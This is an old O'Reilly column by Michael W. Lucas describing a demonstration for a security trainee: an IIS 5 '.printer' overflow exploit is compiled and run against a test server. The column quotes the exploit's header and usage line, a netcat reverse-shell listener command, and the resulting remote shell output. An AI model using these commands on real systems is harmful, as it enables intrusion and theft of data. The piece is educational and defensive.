Published on (
 See this if you're having trouble printing code examples

Proper Paranoia: Educating Your Co-Workers

by Michael W. Lucas

May 1, 2001, 3:15 p.m. The announcement of an IIS 5 system-level compromise hits BugTraq. We have a slew of vulnerable systems, but only one system that can be accessed beyond the firewall. Unfortunately, it's one everybody uses continuously.

Normally I would boot everyone off the system, and patch and reboot while letting user complaints slide off. Unfortunately, it's about time that our new Microsoft security trainee gets a chance to show his stuff. He's a rather experienced administrator, but new to the security aspect of this business.

There are days I really hate having a security trainee. You can prep them, train them, and coach them all you want. But someday, you have to step back and see if they hang themselves or, worse, hang your network.

I tail the firewall log to watch traffic to and from the server, pipe it through grep to get rid of anything inbound on port 80, and watch for outgoing connections to Fortunately, nothing should be going out from this machine other than Web pages. I decide to give the new guy 30 minutes to notice the Microsoft announcement before I give up and announce that I'm either going to patch it myself or shut down external access to this host.

3:25 p.m. I've revised the grep statement a dozen times, and am still going cross-eyed. It doesn't help that I have no real idea what sort of traffic I'm looking for, merely "anything weird." Fortunately the trainee walks up to me and says, "Uh, this looks bad ..."

I don't care how bad it looks, I get to stop watching packet streams for an attacker.

So we kick everyone off the server, basically shutting down the office while we apply the patch, verify that everything still works, and let everyone back on. Total work time lost; 30 minutes. Times 100 people, yes; but 30 minutes isn't that bad for an IT emergency. Users grumble about doing maintenance in the middle of the day, then subside.

I developed my security attitude the first time a system I was responsible for was hacked and my account was used to post a Usenet message taking credit for the hack. (I'd have to say that this particular hacker was entirely justified, but that's another story.) That sick feeling in the pit of my stomach remained for days. Because I have a large stomach, it was a pretty large sick feeling. That hack was the most effective attitude training possible. Books and FAQs about preventing and detecting intrusions are nice, but there's nothing like a good, hard boot to the gut to make it really sink in.

Unfortunately, management frowns on me kicking the junior guys.

May 4, 7 a.m. I toddle down to my desk, plug in, and download my mail. This morning's Special BugTraq Surprise is an exploit for the hole we just patched. I'm not going to reprint the whole thing here, just the head of the file.

/* IIS 5 remote .printer overflow. "jill.c" (don't ask).
* by: dark spyrit <>
* respect to eeye for finding this one - nice work.
* shouts to halvar, neofight and the beavuh bitchez.
* this exploit overwrites an exception frame to control
* eip and get to our code.. the code then locates the
* pointer to our larger buffer and execs.
* usage: jill <victim host> <victim port> <attacker host> <attacker port>
* the shellcode spawns a reverse cmd shell.. so you need
* ro set up a netcat listener on the host you control.
* Ex: nc -l -p <attacker port> -vv

We learn when something is reinforced. So far, the trainee has learned that implementing security patches brings pain from griping users.

Knowing an exploit exists is one thing; seeing it in action is another. It's time for some reinforcement in the other direction.

The only thing I'm missing is netcat. That's simple enough to install on FreeBSD: cd /usr/ports/security/netcat && make install. It's finished well before the trainee comes in.

When he arrives, I show him the BugTraq message. We've discussed BugTraq before, and about the fact that stuff posted there has frequently been circulating in the 3L33T underground for weeks.

By a stroke of luck, we had an IIS 5 server that wasn't in production yet.

The trainee was sitting right next to me as I compiled the exploit.

# cc -ojill jill.c

The -ojill wasn't necessary, but I already had an a.out that I didn't want to overwrite.

In one terminal, I open up a netcat window exactly as it's shown in the example.

#nc -l -p 6666 -vv
listening on [any] 6666 ...

The command prompt doesn't return, as netcat is waiting for an incoming connection. I switch xterms and fire up my straight-from-the-Net exploit.

#./jill victimserver 80 6666
iis5 remote .printer overflow.
dark spyrit <> / beavuh labs.

you may need to send a carriage on your listener if 
the shell doesn't appear.
have fun!


On the other xterm, we abruptly saw:

connect to [] from [] 1062

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.


I believe that the expression is, "You have been r00ted".

The trainee's eyes get just a little wider as I proceed to walk through the filesystem, find some nifty-looking private corporate documents, and copy them to a hidden directory I created under wwwroot. On the 2K console, we created a directory that everyone was denied access to. Everyone but our exploit shell, that's it. I renamed xcopy.exe to youvebeenhacked.exe, and changed the index.htm page to my page from, just because I could.

While nothing can really take the place of the good solid smack that a real hack provides, seeing just how easy it can be is as close as you can get without going home and breaking in yourself. Perhaps you can't hard-temper the new guys, but you can season them a little.

While I recommend this training technique, you must be careful. Don't run exploits you don't understand -- they can easily contain trojans or other nasty surprises. Never run a binary-only exploit, unless you want an interesting story to tell at your next job. And be sure you use them only on test systems you can either patch or reformat. If you want to learn if you're vulnerable to a hack, you're much better off getting Nessus or some other security scanner.

Your target operating system doesn't matter. If I had an exploit for the recent NTP hole on one of my beloved FreeBSD boxes, I would have used that. The purpose of this project is to make a point, as forcefully as possible, not OS evangelism. Admittedly, Windows 2000 is an easy target, but use whatever's convenient.

To my surprise, I wound up repeating this demonstration half a dozen times. This particular exploit was ideal -- it had simple instructions right in the file, and it was simple enough that even someone from the sales department could have done it. I showed every network engineer, as they're each being trained to handle security for their areas of responsibility. I even demonstrated this to some of the salespeople.

User education is a wonderful thing. The junior system admins understand a little more deeply why security patches must be applied immediately -- a little reinforcement never hurts. Some non-technical people understood why, exactly, the senior system administrator frequently had his teeth clenched and a spastic twitch in his left eye. Plus, they understood the importance of security patches. The next time I inconveniently "down" a server to apply a security patch, there won't be nearly as much grumbling.

Oh, wait a minute. I won't be taking down the server. That's what the ex-trainee is for. Maybe I can give him the spastic eye twitch, too.

Michael W. Lucas

Return to

Copyright © 2009 O'Reilly Media, Inc.